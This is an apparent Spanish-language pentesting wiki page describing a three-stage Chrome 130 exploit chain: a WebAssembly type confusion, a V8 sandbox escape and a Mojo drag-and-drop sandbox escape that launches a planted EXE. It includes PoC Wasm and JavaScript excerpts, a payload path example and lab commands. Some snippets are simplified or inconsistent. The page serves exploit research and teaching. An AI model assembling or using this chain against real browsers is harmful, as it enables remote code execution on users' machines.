Chrome Exploiting

Reading time: 7 minutes

Esta página proporciona una visión general práctica de alto nivel de un flujo de trabajo de explotación "de cadena completa" moderno contra Google Chrome 130, basado en la serie de investigación “101 Chrome Exploitation” (Parte-0 — Prefacio). El objetivo es proporcionar a los pentesters y desarrolladores de exploits el conocimiento mínimo necesario para reproducir o adaptar las técnicas para su propia investigación.

1. Resumen de la Arquitectura de Chrome

Entender la superficie de ataque requiere saber dónde se ejecuta el código y qué sandboxes se aplican.

+-------------------------------------------------------------------------+
|                             Chrome Browser                              |
|                                                                         |
|  +----------------------------+      +-----------------------------+    |
|  |      Renderer Process      |      |    Browser/main Process     |    |
|  |  [No direct OS access]     |      |  [OS access]                |    |
|  |  +----------------------+   |      |                             |    |
|  |  |    V8 Sandbox        |   |      |                             |    |
|  |  |  [JavaScript / Wasm] |   |      |                             |    |
|  |  +----------------------+   |      |                             |    |
|  +----------------------------+      +-----------------------------+    |
|               |           IPC/Mojo              |                       |
|               V                                    |                     |
|  +----------------------------+                   |                     |
|  |        GPU Process         |                   |                     |
|  |  [Restricted OS access]    |                   |                     |
|  +----------------------------+                   |                     |
+-------------------------------------------------------------------------+

Defensa en profundidad en capas:

• V8 sandbox (Isolate): los permisos de memoria están restringidos para prevenir lecturas/escrituras arbitrarias desde JS / Wasm JITed.
• La separación Renderer ↔ Browser se asegura a través del paso de mensajes Mojo/IPC; el renderer no tiene acceso nativo a FS/red.
• Los sandboxes del SO contienen aún más cada proceso (Niveles de Integridad de Windows / seccomp-bpf / perfiles de sandbox de macOS).

Un atacante remoto necesita, por lo tanto, tres primitivas sucesivas:

1. Corrupción de memoria dentro de V8 para obtener RW arbitrario dentro del heap de V8.
2. Un segundo error que permita al atacante escapar del sandbox de V8 a la memoria completa del renderer.
3. Una última escapatoria del sandbox (a menudo lógica en lugar de corrupción de memoria) para ejecutar código fuera del sandbox de Chrome OS.

2. Etapa 1 – Confusión de Tipo de WebAssembly (CVE-2025-0291)

Un defecto en la optimización Turboshaft de TurboFan clasifica incorrectamente los tipos de referencia de WasmGC cuando el valor se produce y consume dentro de un único bucle de bloque básico.

Efecto:

• El compilador omite la verificación de tipo, tratando una referencia (externref/anyref) como un int64.
• Wasm diseñado permite superponer un encabezado de objeto JS con datos controlados por el atacante → addrOf() & fakeObj() primitivas AAW / AAR.

PoC mínima (extracto):

(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p      ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit       ;; exit condition keeps us single-block
br   $loop
end
end)
(export "f" (func $f)))

Optimización de disparadores y objetos de spray desde JS:

const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;

for (let i = 0; i < 1e5; ++i) f({});   // warm-up for JIT

// primitives
let victim   = {m: 13.37};
let fake     = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);

Resultado: lectura/escritura arbitraria dentro de V8.

3. Etapa 2 – Escapando del Sandbox de V8 (issue 379140430)

Cuando una función de Wasm es compilada en modo tier-up, se genera un wrapper JS ↔ Wasm. Un error de desajuste de firma provoca que el wrapper escriba más allá del final de un objeto Tuple2 de confianza cuando la función de Wasm se reoptimiza mientras aún está en la pila.

Sobrescribir los 2 × campos de 64 bits del objeto Tuple2 permite lectura/escritura en cualquier dirección dentro del proceso Renderer, eludiendo efectivamente el sandbox de V8.

Pasos clave en la explotación:

1. Llevar la función al estado Tier-Up alternando código turbofan/baseline.
2. Activar el tier-up mientras se mantiene una referencia en la pila (Function.prototype.apply).
3. Usar AAR/AAW de Etapa-1 para encontrar y corromper el Tuple2 adyacente.

Identificación del wrapper:

function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f);          // force tier-up (internals-only flag)
wrapperGen(0x1337n);

Después de la corrupción, poseemos un primitive R/W de renderer completamente funcional.

4. Etapa 3 – Escape del Sandbox del OS desde el Renderer (CVE-2024-11114)

La interfaz IPC Mojo blink.mojom.DragService.startDragging() puede ser llamada desde el Renderer con parámetros parcialmente confiables. Al crear una estructura DragData que apunta a una ruta de archivo arbitraria, el renderer convence al navegador para realizar un drag-and-drop nativo fuera del sandbox del renderer.

Abusando de esto, podemos “arrastrar” programáticamente un EXE malicioso (previamente colocado en una ubicación escribible por el mundo) sobre el Escritorio, donde Windows ejecuta automáticamente ciertos tipos de archivos una vez que son soltados.

Ejemplo (simplificado):

const payloadPath = "C:\\Users\\Public\\explorer.exe";

chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});

No se necesita corrupción adicional de memoria: la falla de lógica nos da ejecución arbitraria de archivos con los privilegios del usuario.

5. Flujo de Cadena Completa

1. El usuario visita una página web maliciosa.
2. Etapa 1: El módulo Wasm abusa de CVE-2025-0291 → V8 heap AAR/AAW.
3. Etapa 2: La discrepancia del envoltorio corrompe Tuple2 → escapar del sandbox de V8.
4. Etapa 3: startDragging() IPC → escapar del sandbox del OS y ejecutar la carga útil.

Resultado: Ejecución Remota de Código (RCE) en el host (Chrome 130, Windows/Linux/macOS).

6. Configuración de Laboratorio y Depuración

# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1

# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols

Banderas útiles al lanzar una build de desarrollo de Chrome:

chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"

Conclusiones

• Los errores de JIT de WebAssembly siguen siendo un punto de entrada confiable: el sistema de tipos aún es joven.
• Obtener un segundo error de corrupción de memoria dentro de V8 (por ejemplo, desajuste de envoltura) simplifica enormemente la escapatoria del sandbox de V8.
• Las debilidades a nivel lógico en las interfaces IPC privilegiadas de Mojo a menudo son suficientes para una escapatoria final del sandbox: mantén un ojo en los errores no relacionados con la memoria.

Referencias

• 101 Chrome Exploitation — Part 0 (Preface)
• Arquitectura de seguridad de Chromium